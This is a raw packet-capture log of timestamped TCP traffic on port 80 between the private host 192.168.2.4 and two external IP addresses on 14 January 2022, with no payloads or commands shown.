Jan 14, 2022 12:30:16.701697111 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701702118 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701725960 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701725960 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701747894 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701757908 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701771975 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701793909 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701809883 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701814890 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701831102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.701862097 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701872110 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701888084 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701910019 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701921940 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701931953 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701953888 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701977968 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.701992989 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.701998949 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.702022076 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.702023029 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.702063084 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.702440977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.702553034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.702660084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.702748060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.702852011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.702940941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703042984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703129053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703227997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703316927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703416109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703515053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703613043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703699112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703799963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703886986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.703993082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704082012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704183102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704268932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704436064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704531908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704637051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704722881 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.704734087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704835892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704925060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.704998016 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.705027103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.705219984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.705333948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.705427885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.705524921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.705624104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.705720901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.705749989 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.705821037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.705921888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706022978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706051111 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.706069946 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.706087112 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.706145048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706229925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706402063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706510067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706598043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706702948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706793070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706893921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.706983089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707078934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707171917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707272053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707362890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707462072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707554102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707658052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707745075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707847118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.707932949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708031893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708121061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708224058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708314896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708415985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708503008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708605051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708697081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708797932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708885908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.708986044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.709076881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.709175110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.709265947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.709367990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.712696075 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.713386059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.713541985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.713584900 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.713624001 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.713661909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.713792086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.713937998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.714071035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.714229107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.714378119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.714497089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.714582920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.714694977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.714788914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.714884996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.714972973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.715074062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.715164900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.715401888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.715521097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.715627909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.715753078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.715898991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.716034889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.716048956 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.716181993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.716329098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.716465950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.716619015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.716757059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.716908932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.717046976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.717202902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.717408895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.717573881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.717708111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.717861891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.717994928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.718151093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.718291044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.718411922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.718502045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.718604088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.718691111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.718797922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.718887091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.718986034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719074011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719172955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719263077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719363928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719451904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719548941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719638109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719742060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719827890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.719929934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.720017910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.720115900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.720208883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.720310926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.720412016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.720556974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.720688105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.720843077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.720969915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.721081972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.721168041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.721268892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.721364975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.721465111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.721600056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.721715927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.721812010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.723285913 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.723300934 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.724064112 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.727895975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.728025913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.728180885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.728346109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.728507996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.728642941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.728797913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.728920937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.729068995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.729120016 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.729134083 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.729218006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.729365110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.729509115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.729640961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.729782104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.730181932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.730190992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.730350971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.730485916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.730635881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.730763912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.730881929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.730972052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731076002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731174946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731268883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731370926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731471062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731574059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731662989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731764078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731854916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.731950998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.732038021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.732136965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.743469000 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.746479988 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.751192093 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.751218081 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.751929045 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.758841038 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.758867979 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.758884907 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.758903027 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.758912086 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.758920908 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.758945942 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.758949041 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.758965969 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.758982897 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.758985996 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759001017 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759017944 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759026051 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759037018 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759053946 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759063959 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759072065 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759088993 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759098053 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759108067 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759124994 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759141922 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759144068 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759160042 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759177923 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759180069 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759196043 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759196043 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759212971 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759231091 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759232044 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759258986 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759278059 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759282112 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759296894 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759314060 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759315968 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759331942 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759349108 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759351015 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759365082 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759382963 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759382963 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759399891 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759418011 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759418964 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759443998 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759460926 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759463072 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759478092 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759495020 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759497881 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759511948 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759529114 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759530067 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759546041 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759562969 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759579897 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759582043 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759596109 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759613037 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759617090 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759630919 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759639025 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759648085 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759665966 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759670019 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759682894 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759700060 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.759726048 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.759747982 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.760941982 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.761456966 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.761476040 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.762109041 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.762125015 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.762244940 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.762320042 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.762396097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.763264894 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.763314962 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.763484001 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.764019012 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.764115095 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.764244080 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.764364004 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.764523029 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.766777992 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.767090082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.767299891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.767421007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.767509937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.767611980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.767699003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.767800093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.767887115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.767987967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768076897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768173933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768261909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768364906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768462896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768553019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768654108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768739939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768837929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.768929005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.769030094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.769113064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.769226074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.769351006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.769490957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.769614935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.769732952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.769818068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.769920111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770009041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770111084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770209074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770298958 CET	49914	80	192.168.2.4	185.215.113.35
